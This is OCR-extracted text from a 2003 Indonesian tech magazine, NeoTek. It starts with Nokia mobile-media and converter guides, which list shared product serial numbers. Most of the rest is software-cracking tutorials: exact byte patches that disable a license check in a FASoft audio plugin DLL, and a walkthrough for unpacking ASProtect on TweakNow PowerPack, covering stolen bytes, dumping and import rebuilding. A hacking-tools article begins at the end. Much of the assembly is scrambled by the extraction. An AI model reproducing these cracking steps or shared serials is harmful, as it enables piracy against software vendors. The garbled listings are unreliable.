VolumeControl, StopTimeControl VolumeControl, StopTimeControl VolumeControl, StopTimeControl VolumeControl, StopTimeControl VolumeControl, StopTimeControl VolumeControl, StopTimeControl, ToneControl video/3gpp VolumeControl, StopTimeControl, VideoControl video/vnd.nokia.interleaved-multimedia VolumeControl, StopTimeControl, VideoControl (video capture) StopTimeControl, VideoControl
Player memiliki status (state) seperti digambarkan pada Gambar 2. Untuk mengetahui status dari player adalah dengan memanggil method getState. Tetapi, karena status dari player selalu berubah secara dinamis, maka hasilnya mungkin tidak menunjukkan keaGambar 2 daan sebenarnya. Yang perlu dicatat adalah MMAPI dari 3650 belum mendukung HTTP streaming, oleh karena itu stream akan dibaca lengkap (disimpan di buffer) dan baru kemudian dimainkan. Referensi
• Technical Note: The Nokia 3650 Mobile Media API http://www.forum.nokia.com/ndsCookieBuilder?fileParamID=2902 • Brief Introduction to the Mobile Media API v1.0 http://www.forum.nokia.com/ndsCookieBuilder?fileParamID=2777
NeoStart
WI RE LESS JAVA NOKIA M U LTI M E DIA CONVERTER 2.0 Pada artikel sebelumnya, kita telah mengenal beberapa tipe content multimedia yang dapat digunakan pada aplikasi berbasis MIDP. Beberapa tipe content tersebut adalah audio/amr yang memiliki ekstensi *.amr dan video/3gpp yang memiliki ekstensi *.3gp. Aplikasi ini tidak berjalan pada Windows 98.
K
ALI INI, KITA AKAN BELAJAR MENGGUNA-
kan Nokia Multimedia Converter 2.0 untuk memproduksi file berformat AMR dan/atau berformat 3GPP. Kegunaan dari Nokia Multimedia Converter 2.0 bisa dilihat pada Gambar 1. Dengan Nokia Multimedia Converter 2.0, format video yang umum dapat dikonversi ke format 3GPP dan/atau format audio yang umum ke AMR. Download Nokia Multimedia Converter 2.0 di: http://www.forum.nokia.com/files/nds_discl aimer/1,6673,2998,00.html. Untuk mempercepat instalasi, isikan: • Forum Nokia Username: fitriantoh • Product Serial Number: zGyYZ7Trt73bJbXdSrfiN3Z+nWY=
Konversi format audio/video umum ke format untuk mobile phone Gambar 1.
1
3
MENJALANKAN CONVERTER
2
Penggunaannya cukup mudah. Pada menu Start > Programs, pilihlah Nokia Multimedia Converter 2.0 > Nokia Multimedia Converter 2.0 Berikut adalah tahapan konversi format video (sebagai contoh, video klip Tatu, 30 Minutes). Pada menu, pilih File > Open... atau dengan shortkey Ctrl+O. Pilih file video yang akan dikonversi dan klik tombol Open.
Jika file berisi suara, pada tab Audio pilih format audio (AMR atau WB-AMR) dan AMR bit rate. WB-AMR menghasilkan kualitas suara yang lebih baik daripada AMR, tapi ukuran filenya lebih besar. Anda dapat menset total file bit rate yang diharapkan di edit box File bit rate [bps]. Pengisiannya akan mengkalkulasi AMR bit rate yang digunakan, sehingga jika AMR bit rate yang digunakan ternyata lebih besar, mau tidak mau Anda harus menurunkan AMR bit rate atau menaikkan total file bit rate.
4
Anda dapat menset ukuran hasil konversi pada edit box Max file size [KB], dengan memberi tanda centang terlebih dahulu. Ukuran file sangat penting diperhatikan, karena batasan (restriction), apakah dari WAP gateway, operator jaringan atau mungkin juga dari MMS client dan/atau MMS server. Anda juga dapat mengatur mulai dari bagian mana yang akan dikonversi pada edit box Start time [sec].
5
Untuk mengetahui informasi tentang file video: File Information > Show original file information. Pada tab Video, pilih Image size: • sub-QCIF (128x96) • QCIF (176x144) Karena, Nokia 7650/3650 ukuran kanvasnya sesuai dengan QCIF, pilih QCIF. Pilih frame rate yang diharapkan untuk target pada combo box Frame rate [fps]. Jika ingin menambahkan periodic key frames, masukkan key frame period yang diharapkan ke dalam edit box Intra period [sec]. Beri tanda centang terlebih dulu.
Untuk mempermudah, Anda dapat menekan tombol Ctrl (jangan dilepas) dan atur slide-bar yang terdapat pada bagian Original file, maka edit box Start time [sec] akan berubah pula. Untuk mengkonversinya, klik tombol Convert, lalu berikan nama file dan klik tombol Save. Maka, proses konversi akan dilakukan. Setelah proses konversi selesai, Anda dapat menikmati hasilnya dengan mengklik tombol Play. Dalam pengujian ini, file format MPEG-1 41MB dapat menjadi 909KB dengan memilih frame rate 5 fps, AMR bit rate 4.75 kbps, serta total file bit rate 32200 bps.
Agu/Sep 2003 NeoTek
21
NeoStart
WI RE LESS JAVA
okia Developer's Suite for the Java 2 Platform, Micro Edition, Version 2.0 for Windows dapat di-download di: http://www.forum.nokia.com/files/nds_dis claimer/1,6673,3217,00.html. Secara garis besar, Nokia Developer's Suite for the J2ME dapat diintegrasikan dengan: • Borland JBuilder IDE • Sun ONE Studio 4, Mobile Edition atau dapat pula dipasang sebagai aplikasi standalone. Penulis sendiri lebih memilih sebagai aplikasi standalone, karena untuk hal-hal lainnya (seperti compile, preverify, dan lain-lain) penulis lebih cenderung menggunakan J2ME Wireless Toolkit yang cara penggunaannya telah dibahas sebelumnya.
N
NOKIA DEVE LOPE R’S SUITE FOR J2ME Ponsel Nokia 3650 yang merupakan suatu jenis Nokia Seri 60 telah menyertakan Mobile Media API (MMAPI). Ada baiknya mengenal terlebih dahulu Nokia Developer's Suite for J2ME yang telah menyertakan device Nokia Seri 60 di dalamnya, sebelum menginjak ke bagian pemrogramaman MMAPI. Tool lain untuk pengembangan aplikasi mobile media
1
Perhatikan System Requirements, yang menuntut J2SDK minimal ver. 1.4.1. Sistem operasi dapat diabaikan; berdasarkan pengalaman dapat dijalankan pada Windows 98. Buka file nds_jme_v2_0.zip dan jalankan setup.exe. Untuk registrasi, isikan: • Forum Nokia Username: fitriantoh • Product Serial Number: xDR4XuZaZ4cfte27ANtNT/EfAnM=
2
Pada bagian Choose install set, pilih Standalone installation. Menjalankannya: Start > Programs pilih Nokia Developer Tools > Nokia Developer's Suite 2.0 for J2ME(TM) > Run as a Standalone. Dari fasilitas yang terdapat pada Nokia Developer's Suite for the J2ME, yang menarik: Deployment, Start Emulators, dan Audio Converter. Dengan fasilitas Deployment, kita bisa memasang aplikasi MIDP (MIDlet) pada ponsel (misalkan dengan kabel serial) atau dapat pula memasang MIDlet (file JAD dan file JAR) pada server menggunakan FTP.
3
22
NeoTek Agu/Sep 2003
Dengan fasilitas Start Emulators, kita bisa mengemulasi MIDlet apakah pada semua emulator yang tersedia atau hanya pada emulator tertentu. Aplikasi Java umumnya membutuhkan resource lumayan besar, sehingga sebaiknya memilih hanya emulator tertentu saja. Dengan fasilitas ini pula, Anda dapat mengkonfigurasi emulator (klik tombol Configure...), misalkan untuk emulator Nokia 7210 Anda dapat memilih menu dalam Bahasa Indonesia. Dengan fasilitas Audio Converter, kita bisa mengkonversi file audio berformat MIDI (.mid, .smf, .midi) ataupun berformat Ringing Tone XML (.xml), yang hasil konversinya OTA, Bytes (dapat digunakan pada aplikasi MIDP) dan Ringing Tone XML. Karena file MIDI umumnya menggunakan lebih dari satu instrumen, maka terlebih dulu harus memilih instrumen, sehingga file MIDI tersebut dapat dikonversi berdasarkan instrumen tersebut (tombol Convert aktif). Contoh MMAPI yang disertakan pada Nokia Developer's Suite for the J2ME adalah MediaSampler. Emulasi C:\Nokia\ Tools\Nokia_Developers_Suite_for_J2ME\ midp_1_0_examples\ MediaSampler\MediaSampler.jad pada device Series 60 MIDP Concept SDK Beta 0.3, Nokia edition.
NeoTekno
Software Cracking Muhammad Aziz Rivai ([email protected]) kembali berbagi pengetahuan dengan anda dalam hal software cracking. Walaupun kontroversial, pengetahuan ini perlu dipandang dari segi positifnya, yaitu memahami trick proteksi serta programming secara mendalam.
Cracking DLL: FASoft Compressor DirectX Plugin 1.
[ ] Newbie
[x] Beginner
[ ] Intermediate [ ] Advance [ ] Pro
Tools : Debugger : Tidak diperlukan Disassembler : W32Dasm 10 by Killer / IDA HexEditor : HexWorkshop 4.1
Sekilas Tentang FASoft Plugin: FASoft Compressor DirectX Plug-In is a Compressor/ Expander/Noise gate DirectX plug-in, with separate settings and processing for left and right channels (when used with stereo tracks). The Plug-In allows to define a custom dynamics graph, so even complex dynamics processing can be obtained with a few clicks of the mouse. The main control in the Plug-In property page is the dynamics graph: clicking on it with the left mouse button you can add new nodes to the plot, thus defining custom plots to process your signals with the greatest possible freedom. Smooth transitions ("Soft knees") between regions (i.e. the beginning of the compression region or the "closing" of the noise gate) can be easily designed adding a few nodes to sweeten the knee of graphs. The output gain control allows for fine adjustment of the output level. Nice! Ok, program ini merupakan plugin untuk n-Track Studio. Setelah anda download n-Track Studio, silahkan lihat direktori FA-Plugins. Terdapat tiga file :
facomp.dll (FASoft Compressor) 2. facomp10.dll (FASoft Compressor v1.1) 3. fa4bdeq.dll (FASoft Parametric EQ) ketiga file ini merupakan plugin yang disertakan oleh nTrack Studio, tetapi masih berupa demo/shareware yang (masih) membutuhkan registrasi pula. Meskipun anda telah meregistrasi n-Track Studio itu sendiri (s/n banyak beredar di internet), jika anda ingin memakai FASoft plugin, anda diminta untuk meregistrasi-nya. Boleh dibilang ini merupakan trik dagang, dengan menyertakan produk yang dijual dengan bonus produk lain (demo/ shareware). Di tutorial ini, saya akan menggunakan facomp10.dll (FASoft Compressor v1.1) sebagai target. Satu dapat dicrack, maka 2 file yang lain mudah pula untuk dicrack karena menggunakan proteksi yang sama. Load sembarang file wave dengan durasi lebih dari 10 detik, dan di menu "Mixer" pilih FASoft Compressor v1.1. Terlihat bahwa jika masih demo, playback akan dimute (sekitar 2 detik) setiap 10 detik sekali. Coba klik tombol play (atau pencet spacebar) untuk mendengarnya. Benar kan? Ok, jalankan W32Dasm 10 by Killer atau dengan IDA. Tambahan : jika anda scan (dengan PeiD) terlihat file ini dibuat dengan VC. Jika anda menggunakan W32Dasm 8.93 biasa, maka "Dialog Information" tidak akan terlihat sama sekali. Oleh karena itu gunakan versi Killer atau gunakan saja Agu/Sep 2003 NeoTek
23
NeoTekno IDA (Interactive DisAssembler).
Langkah 1. Disassembling Name: DialogID_0075, # of Controls=006, Caption:"Enter registration codes:", ClassName:"" 001 - ControlID:0001, Control Class:"BUTTON" Control Text:"OK" 002 - ControlID:0002, Control Class:"BUTTON" Control Text:"Cancel" 003 - ControlID:0411, Control Class:"EDIT" Control Text:"" 004 - ControlID:FFFF, Control Class:"STATIC" Control Text:"Registration ID:" 005 - ControlID:0412, Control Class:"EDIT" Control Text:"" 006 - ControlID:FFFF, Control Class:"STATIC" Control Text:"Password:"
Hmm... terlihat tidak ada "SDR" yang menarik. Coba lihat "Dialog Information"-nya. Wah... semua jadi terlihat. Hm... seharusnya ada new window dengan caption "Enter registration codes" yang pop up sewaktu saya menjalankan file wave. Tetapi nyatanya tidak ada. Ini aneh.... Mungkin new window tersebut akan ditrigger jika kita mengotak atik FASoft Plugin tersebut. Entah itu mungkin di PreAmp, Compression ratio, Threshold, atau yang lain. Tetapi kemudian saya berpikir lain, dari mana program tahu bahwa saya belum meregistrasi plugin tersebut (dengan menunjukkan katakata "DEMO VERSION: the playback mutes every 10 seconds") sewaktu saya load? Well, pasti sewaktu diload, plugin ini mengakses sesuatu untuk mengetahui bahwa dirinya telah diregistrasi atau belum oleh user ybs. Bisa jadi sesuatu tersebut adalah suatu file atau registry Windows. Saya yakin bahwa plugin ini mengakses registry Windows. Lalu API apa yang bermanfaat? RegQueryValueExa API ini dipanggil dua kali oleh program (Boks 2). Ini bukan yang kita cari. Yang kedua (Boks 2): Well.. well. well... ini yang kita cari. Sebelum RegQueryValueExa ada RegOpenkeyExa. J
Langkah 2. Cracking Di :10013143 CALL RegOpenKeyExa, program "mengintip" sesuatu di registry Windows. Ini bisa berupa Name & SN atau sesuatu yang lain. Jika ada sesuatu, EAX = 0; jika tidak ada, EAX = FFFFFFFF. Maka di baris selanjutnya kita paksa untuk melompat. Di 1001314B ubah je (74) menjadi jump (EB). Kemudian di baris :10013171 cmpsb program membandingkan per byte antara ESI dengan EDI. Yang pasti, program membandingkan nilai register Windows yang palsu dengan nilai register Windows yang asli. :10013174 0F94C2 sete dl adalah set if equal dl. Maksudnya set dl = 1 jika yang dibandingkan sama (antara ESI dengan EDI). Jika berbeda, set dl = 0. 24
NeoTek Agu/Sep 2003
Maka untuk mengcrack, ubah sete dl (0F94C2) dengan MOV DL, 01 (B20190). Yap.. sekarang program telah dicrack. Jalankan n-Track Studio sekali lagi dan pilih sembarang file wave yang durasinya lebih dari 10 detik. Maka kata-kata "DEMO....." sudah tidak terlihat lagi. Good... Ketika kita play, tidak ada mute sama sekali. Great......Untuk latihan anda, silahkan coba dua plugin yang lain. Penulis dengan nickname Shopping Guide dapat dihubungi lewat email ([email protected])
* Possible Reference to Dialog: DialogID_0065, CONTROL_ID:0004, "Enter registration codes" | :10004B4D C744242C04000000 mov [esp+2C], 00000004 * Reference To: ADVAPI32.RegQueryValueExA, Ord:01EBh | :10004B55 FF151C800110 Call dword ptr [1001801C] :10004B5B 8B542408 mov edx, dword ptr [esp+08] :10004B5F 52 push edx
Boks 1.
:10013116 6802000080 :1001311B C744242404010000
push 80000002 mov [esp+24], 00000104
* Reference To: ADVAPI32.RegOpenKeyExA, Ord:01E1h | :10013123 FF150C800110 Call dword ptr [1001800C] :10013129 8D4C2410 lea ecx, dword ptr [esp+10] :1001312D 51 push ecx :1001312E 8B4C2410 mov ecx, dword ptr [esp+10] :10013132 8D542420 lea edx, dword ptr [esp+20] :10013136 52 push edx :10013137 8D442420 lea eax, dword ptr [esp+20] :1001313B 50 push eax :1001313C 56 push esi :1001313D 68A0990110 push 100199A0 :10013142 51 push ecx * Reference To: ADVAPI32.RegQueryValueExA, Ord:01EBh | :10013143 FF151C800110 Call dword ptr [1001801C] :10013149 85C0 test eax, eax :1001314B 7408 je 10013155 :1001314D 89B578420000 mov dword ptr [ebp+00004278], esi :10013153 EB28 jmp 1001317D <<< continue Unregistered * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:1001314B(C) | :10013155 8B54240C mov edx, dword ptr [esp+0C] :10013159 52 push edx * Reference To: ADVAPI32.RegCloseKey, Ord:01C8h | :1001315A FF1510800110 Call dword ptr [10018010] :10013160 33C0 xor eax, eax :10013162 BF8C990110 mov edi, 1001998C :10013167 8D74241C lea esi, dword ptr [esp+1C] :1001316B B913000000 mov ecx, 00000013 :10013170 F3 repz :10013171 A6 cmpsb <<< membandingkan ESI dengan EDI :10013172 8BD0 mov edx, eax :10013174 0F94C2 sete dl <<< dl = 1 jika ESI = EDI :10013177 899578420000 mov dword ptr [ebp+00004278], edx * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:10013153(U) | :1001317D 8B8C2420010000 mov ecx, dword ptr [esp+00000120]
Boks 2.
NeoTekno
Cracking ASProtect: TweakNow PowerPack 2003 Professional v1.4c
[ ] Newbie Tools Debugger Disassembler HexEditor Lain2x Backgroud
[x] Beginner
[ ] Intermediate [ ] Advance [ ] Pro
: SoftICe 4.05 : W32Dasm 8.93/IDA : HexWorkshop 4.1/ UltraEdit/WinHex : - IceDump - SuperBPM (protools.cjb.net) : - Membaca tutorial saya sebelumnya tentang RAM Idle Pro
Sekilas Tentang PowerPack 2003 Pro TweakNow PowerPack is a fully-integrated suite of utilities that let you fine-tune every aspect of your computer's operating system and web browser. The RAM Idle program intelligently manages the free memory that is available to run Windows programs. Normally, Windows runs progressively slower as you start and close multiple programs. The RAM Idle program prevents performance from degrading as you swap files and programs in and out of memory.
Langkah 1. Mencari OEP (Original Entry Point) Scan dengan PeiD terlihat "Asprotect 1.2 [new strain]". Segera jalankan IceDump. Lalu jalankan Softice dan load PowerPack.exe sebagai target. Jangan lupa jalankan juga SuperBPM dan beri tanda check pada kolom "erase".
Karena ASProtect dilengkapi dengan proteksi SEH sehingga breakpoint yang kita pasang di memory (bpm) akan dihapus olehnya. Itulah kenapa kita harus memakai SuperBPM. 1. Pasang breakpoint di GetVersion (bpx GetVersion). Keluar dari kernel dengan memencet F12. Anda akan mendarat di rutin unpacking dari ASProtect :01B31215 PUSH 01B3121D <<< anda mendarat di sini :01B3121A :01B3121C :01B3121E :01B3121F :01B31220 :01B31222 :01B31227 :01B3122D
JMP JMP POP INSB MOV PUSH MOV JMP
01B31286 01B31286 ESI
BL,01 01B31231 EAX,[01B25182] [EAX]
2. Bersihkan brekpoint (bc *). Jika di tutorial lalu saya menggunakan fitur tracex (lama prosesnya), di sini saya akan memakai cara yang lebih cepat untuk segera sampai ke 1st dip. Ketik s 0 l ffffffff 5b,eb,ce,61 Maksudnya mencari (s) di memory dalam batas 0 s/d ffffffff pattern byte 5b,eb,ce,61 dan di tampilkan di layar (l). 5b,eb,ce,61 adalah pattern byte sebelum rutin unpacking ASProtect berakhir. Pencarian akan ketemu di :01B32750. Pattern found at 0030:01B32750 (01B32750) Di komputer anda mungkin hasilnya akan berbeda. Segera pasang bpm di 01B32750 dengan mengetik bpm 1b32750 x. Kemudian biarkan program berjalan lagi dengan memencet F5. Agu/Sep 2003 NeoTek
25
NeoTekno 3. Boom...! anda akan mendarat di sini :01B32750 :01B32751 :01B32753 :01B32754 :01B32759 :01B3275E :01B32761 :01B32762 :01B32767 :01B32769 :01B3276F :01B32771 :01B32773 :01B32778 :01B3277A :01B3277C :01B32781 :01B32783 017F:01B32785 017F:01B3278B 017F:01B3278D 017F:01B3278F 017F:01B32790 ... ...... ........ 017F:01B3280E 017F:01B32810 017F:01B32811 017F:01B32814 017F:01B32819 017F:01B3281A 017F:01B3281B 017F:01B3281D 017F:01B3281E
POP JMP POPAD CALL PUSH INC RET MOV JMP XCHG ADD JMP MOV ADC JMP CALL OR JMP INT ADD XOR RET JMP
EBX 01B32721
<<< anda mendarat di sini
01B32793 01B32762 DWORD PTR [ESP] <<< ret 1 ESP,0C24448B 01B3276A AL,[EBX+0000B880] [EDX],AL 01B3278D ESP,EBE817EB AL,E8 01B3278D ED9B366C EBP,EAX 01B3278D 20 VXDCall EBE8,04EB EAX,EBP EAX,EAX
Langkah 2. Mencari Stolen Bytes Jika anda telah membaca tutorial saya sebelumnya, anda pasti tahu bahwa beberapa byte telah dieksekusi di high memory area oleh ASProtect. <<< ret 2
01B32793
Kemudian ketik u ecx. Terlihat : CALL POPAD MOV CALL POP POP MOV POP RET
[EAX] EAX,[EBP-0C] 01B22524 ESI EBX ESP,EBP EBP <<< ret 3
Ingat : Di program lain yang diproteksi dengan ASProtect, selalu pasang bpm di ret yang ketiga! 5. Setelah mendarat di ret yang ketiga, bersihkan breakpoint (bc *). Sekarang gunakan fitur tracex dari IceDump. Karena kita telah sampai ret yang ketiga,dengan perintah tracex, kita akan mendarat di dip yang pertama dari ASProtect sesegera mungkin. Ketik /tracex 400000 700000. 6. Boom...! anda akan mendarat di dip yang pertama dari ASProtect PUSH MOV MOV MOV MOV MOV POP RET
EBP <<< anda mendarat di sini EBP,ESP EAX,[EBP+08] [006414FC],EAX EAX,[EBP+0C] [00641500],EAX EBP 0008
7. Eksekusi tiap baris dengan F10. Jika baris RET 0008 telah tereksekusi, anda akan kembali ke kode ASProtect. Gunakan tracex lagi (/tracex 400000 700000) 8. Boom...! anda akan mendarat di dip yang kedua dari ASProtect :006332B8 :006332B9 :006332BB :006332BE :006332C3 :006332C4
PUSH MOV MOV MOV POP RET
EBP <<< anda mendarat di sini EBP,ESP EAX,[EBP+08] [0065AD90],EAX EBP 0004
9. Eksekusi tiap baris s/d baris RET 0004 dengan F10. Anda akan kembali ke kode ASProtect. Gunakan tracex lagi (/tracex 400000 700000) 10. Boom ...! anda sekarang mendarat di badan program ☺ 26
EBX = panjang stolen bytes (0Ch) ECX = Alamat stolen bytes (01B46DE6)
4. Bersihkan breakpoint (bc *) segera pasang bpm di ret yang ketiga (bpm 1b3281e x).
:00632AD0 :00632AD1 :00632AD3 :00632AD6 :00632ADB :00632ADE :00632AE3 :00632AE4
EAX=006334D8 EBX=0000000C ECX=01B46DE6 EDX=040420A4 ESI=01B46DCF EDI=3857D288 EBP=0099FE18 ESP=0099FE04 EIP=00633B1C o d I s z a p C CS=017F DS=0187 SS=0187 ES=0187 FS=113F GS=0000 ÄÄÄÄÄPOWERPACK!+00232B1CÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄbyteÄÄÄÄÄÄÄÄÄÄÄÄÄÄPROTÄÄÄ(0)ÄÄ 017F:00633B1C CALL 00406E4C <<< anda mendarat di sini 017F:00633B21 XOR EAX,EAX 017F:00633B23 PUSH EBP 017F:00633B24 PUSH 00633D33 017F:00633B29 PUSH DWORD PTR FS:[EAX] 017F:00633B2C MOV FS:[EAX],ESP 017F:00633B2F PUSH 0065AAB4 017F:00633B34 PUSH 000F003F 017F:00633B39 PUSH 00 017F:00633B3B PUSH 00633D40 ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄPOWERPACK!+00232B1CÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
NeoTek Agu/Sep 2003
:01B46DE6 :01B46DE7 :01B46DE9 :01B46DEB
PUSH ADD ADD STOSB
:01B46DEC :01B46DED :01B46DEE
POPFD POPAD JMP
EBX [EAX],EAX BL,DH <<< menghapus stolen bytes 00633B1C <<< lompat kembali ke badan program.
Apa...!!? kode apaan tuh? Mana stolen byte-nya? Well, perlu anda ketahui bahwa Alexey Solodovnikov (programmer dari ASProtect) telah membuat new strain yang baru. New strain ini, setelah mengeksekusi stolen bytes di high memory area kemudian segera menghapusnya begitu selesai dieksekusi. Sangat cerdik ya...? Untuk mengetahui stolen bytes, segera bersihkan breakpoint dan load kembali Powerpack.exe. jangan lupa pasang IceDump dan SuperBPM. Kemudian Press F8 (Step over) sebanyak 5x. Anda mendarat di sini :00755000 :00755001 :00755002
NOP PUSHAD CALL
:00755007 :0075500C :0075500D
JMP PUSH RET
0075500A <<< anda di sini, jangan dieksekusi 45D254F7 EBP
Kemudian ketik bpm esp-4. Setelah memasang "jebakan", biarkan program berjalan dengan memencet F5. Press F5 terus sampai anda berhenti di POP EBP. Di sini saya memencet s/d 19x. :01B47CD1 :01B47CD2 :01B47CD8 :01B47CDE :01B47CE0 :01B47CE6 :01B47CEC :01B47CF2 :01B47CF4 :01B47CF7 :01B47CFD :01B47D03 :01B47D05 :01B47D0A :01B47D10 :01B47D12
POP SUB LEA SUB MOV LEA LEA ADD MOV LEA LEA MOV MOV LEA MOV PUSH
EBP << anda di sini EBP,00497FE6 ECX,[EBP+00497FD4] EAX,ECX [EBP+00497FD0],EAX EAX,[EBP+00497FBE] ECX,[EBP+00498027] ECX,EBX [ECX+01],EAX EAX,[EBP+00497FD4] ECX,[EBP+00497FC2] [ECX],EAX EAX,00000153 ECX,[EBP+00497FC7] [ECX],EAX EBP <<< stolen byte
NeoTekno :01B47D13 :01B47D15 :01B47D18 :01B47D19 :01B47D1E :01B47D23 :01B47D24 :01B47D25
MOV ADD PUSH MOV PUSH RET NOP NOP
EBP,ESP ESP,-10 EBX EAX,006334D8 90909090
<<< stolen byte <<< stolen byte <<< stolen byte <<< stolen byte
Setelah mendarat di POP EBP, lihat beberapa baris ke bawah, anda akan menemukan PUSH EBP; MOV EBP, ESP. Anda tahu itu apa? Itu adalah OEP kita!!! Perlu diingat, offset di atas bisa berubah-ubah sewaktuwaktu karena bersifat dinamik. Maka pasti offsetnya juga berbeda di tempat anda. Ingat saja tentang "berhenti di POP EBP". PUSH 90909090 adalah BUKAN bagian dari stolen bytes. Oleh karena itu, stolen bytes berakhir di 01B47D1E. Dan awalnya adalah :01B47D12 PUSH EBP. Maka panjang stolen bytes adalah 01B47D1E - 01B47D12 = 0Ch. Untuk dumping, gunakan fitur dari IceDump. Formatnya : /dump offset_awal panjang_byte output_file. Maka ketik saja /dump 1B47D12 C C:\stolen.bin. Sekarang buka stolen.bin di direktory C dengan HexEditor anda. Itulah stolen bytes kita. Jangan lupa paste-kan pada dumped file anda.
Langkah 3. Dumping Baca tutorial saya sebelumnya. Jangan lupa menghilangkan pengaruh looping dari dumped file. Jangan lupa juga untuk mem-paste-kan stolen bytes.
Langkah 4. Rebuilding IT (Import Table) Baca tutorial sebelumnya. Awas jangan keliru untuk OEPnya (kurangi dengan panjang stolen bytes dan Image Base). Kemudian hapus juga semua fake Import. Cocokkan punya anda dengan yang ini jika kurang yakin: OEP : 00233B10 RVA : 0025B294 Size : 00000A38 Beberapa unresolved IT untuk anda. 0025B2B4 = 0025B4B8 = GetVersion 0025B2E8 = 0025B3E8 = 0025B4F8 = GetProcAddress 0025B2EC = 0025B390 = 0025B504 = 0025B564 = GetModuleHandleA 0025B300 = GetCommandLineA 0025B46C = LockResource 0025B550 = GetCurrentProcessId 0025B554 = GetCurrentProcess
Langkah 5. Cracking & Cosmetic Enhancement
SOFTWARE CRACKING & CRACKPROOFING Artikel-artikel Software Cracking yang dibahas dalam NeoTek kali ini merupakan kelanjutan dari topik Software Cracking & Crackproofing yang dimuat di NeoTek bulan lalu (NeoTek III/10). Anda dianjurkan untuk membaca terlebih dahulu artikel-artikel pada edisi ini yang membahas:
Cracker dan Peralatannya Untuk membongkar proteksi software, cracker terutama menggunakan tiga macam utility: debugger, disassembler, dan decompiler. Cracking tools yang banyak digunakan adalah: Debugger • SoftICE • TRW2000 • SmartCheck Disassembler • WinDasm • IDA Pro • Sourcer Hex Editor • Hex Workshop • Hiew (Hacker’s View) SoftICE adalah tool yang paling banyak digunakan sehingga ada baiknya pertama kali anda mempelajari tool ini dulu. Tool ini disediakan dalam CD NeoTek bulan ini. Dokumentasinya lengkap dan dapat dipelajari sendiri.
Jenis-jenis Proteksi Software Software biasanya diproteksi beberapa cara yaitu: • Proteksi Serial Number • Time-limited Program • Proteksi Registration-File (Key File) • Proteksi Hardware (Dongle)
Compression & Encoding Program dapat diperkecil ukurannya dengan compression program dan/atau di-encode dengan encoding program sehingga selain ukuran program menjadi lebih kecil, juga akan membuatnya lebih sulit dicrack. Program yang dikompresi tidak mungkin di-diassemble dan membuat proses debugging menjadi lebih rumit. Walau demikian, apabila decompressor-nya sudah tersedia, maka program ini dapat didekompresi dulu sebelum di-debug. Berbagai jenis compressor disediakan pada CD NeoTek III/10, sedangkan pada CD NeoTek bulan ini hanya disediakan ASProtect dan Petite 2.2 sebagai contoh, mengingat salah satu artikel yang dibahas adalah membongkar proteksi ASProtect.
Disclaimer Perlu diingat bahwa semua yang dibahas dalam topik ini adalah untuk keperluan pendidikan dan pemakaian probadi semata-mata. Mengkomersialkan software hasil cracking adalah perbuatan melanggar hukum.
Karena satu pabrik dengan RAM Idle Pro, maka langkahnya sama persis. Lihat saja kode2x-nya, mirip satu sama lain. Penulis dengan nickname Shopping Guide dapat dihubungi lewat email ([email protected])
Agu/Sep 2003 NeoTek
27
NeoTekno
NetTools
ALAT BANTU HACKING SERBAGUNA
Eryanto Sitoru ([email protected]) kembali memperkenalkan cara mudah untuk mulai belajar hacking dengan Net Tools, alat bantu hacking yang ditulis dengan Visual Basic: serba guna danm serba lengkap.
B
AGI SEORANG HACKER, CRACKER, PHREAKER, CARDER, ATAU
siapa pun mereka yang dicap sebagai 'bandit' di dunia cyber, tool adalah merupakan suatu hal yang sangat penting artinya. Dan, selain penting, mereka juga menganggapnya sebagai sesuatu yang bernilai tinggi karena manfaatnya yang cukup besar. Oleh karena itu, bukan hal yang aneh jika mereka begitu rajin meluangkan waktu untuk mencarinya ke sejumlah situs yang banyak bertebaran di Internet. Bahkan, bila perlu CD-nya harus dibeli, meskipun dana yang tersedia tidak begitu memadai. Menurut saya, apa yang mereka lakukan itu, dan mengapa mereka sampai menganggapnya begitu penting adalah wajar, karena kita tahu bahwa betapa pun 'hebatnya' mereka, tetap membutuhkan beberapa tool agar bisa sukses dalam melakukan aksinya. Inilah alasan mengapa saya selalu mengatakan kepada semua orang bahwa akan salah besar bila kita sampai mengangap mereka (para hacker) tidak akan membutuhkan tool pada saat akan membobol sistem komputer orang lain. Karena, jangankan hacker, cracker, phreaker, atau carder, seorang flooder sekalipun pasti membutuhkan alat untuk melakukan aksinya. Hacking tanpa tool itu nonsense!. Agar tidak salah mengartikan kata 'tool,’ perlu saya ingatkan bahwa tool yang kita bicarakan disini bukanlah sejenis tang, obeng, linggis, atau kunci letter-T, yang biasa dipakai oleh para 'garong' sewaktu beraksi, melainkan sebuah program siap pakai, yang sebagian besar source code atau listing programnya memiliki perintah dan fungsi untuk menelisik kesalahan/kelemahan (bugs) pada mesin atau sistem komputer orang lain, termasuk komputer kita sendiri. Dalam hal ini, ukuran file dan kecanggihan suatu program bukan menjadi patokan agar layak disebut tool. Yang penting, selama mampu memberikan bantuan, meskipun hanya dalam bentuk informasi kecil, maka dia sudah layak disebut sebagai tool. Setelah sekian lama berselancar (surfing) di Internet, saya yakin anda pasti sudah sering menemukan sejumlah tool yang dideskripsikan sebagai alat bantu hacking, baik dalam bentuk file executable, code, script, source code, atau dalam format yang lain. Namun, karena jumlahnya yang begitu banyak dan sangat beragam, sering kali anda dibuat kecewa karena telah terkecoh oleh nama dan deskripsi yang diberikan kepada program-program itu. Terbukti, setelah di-download dan dioperasikan, ternyata tool yang ditemukan itu bukannya membantu, tapi malah menjadi 'sampah' dan 'penyakit' yang menyebabkan orang lain bisa masuk ke dalam sistem komputer anda dengan mudah. Selain waktu terbuang percuma, anda juga merasa rugi karena uang yang telah anda keluarkan untuk membayar pulsa telepon terbuang sia-sia. Belum lagi karena alasan-alasan yang lain, misalnya seperti koneksi ISP yang tidak stabil yang menyebabkan file gagal didownload, dan sebagainya. Jelas, semua itu tentunya bukan cuma membuat anda kecewa, tapi nyaris membuat anda stress dan bokek. Siapa pun anda, jujurlah, saya percaya pasti anda pernah mengalami masalah seperti itu. Daripada waktu 28
NeoTek Agu/Sep 2003
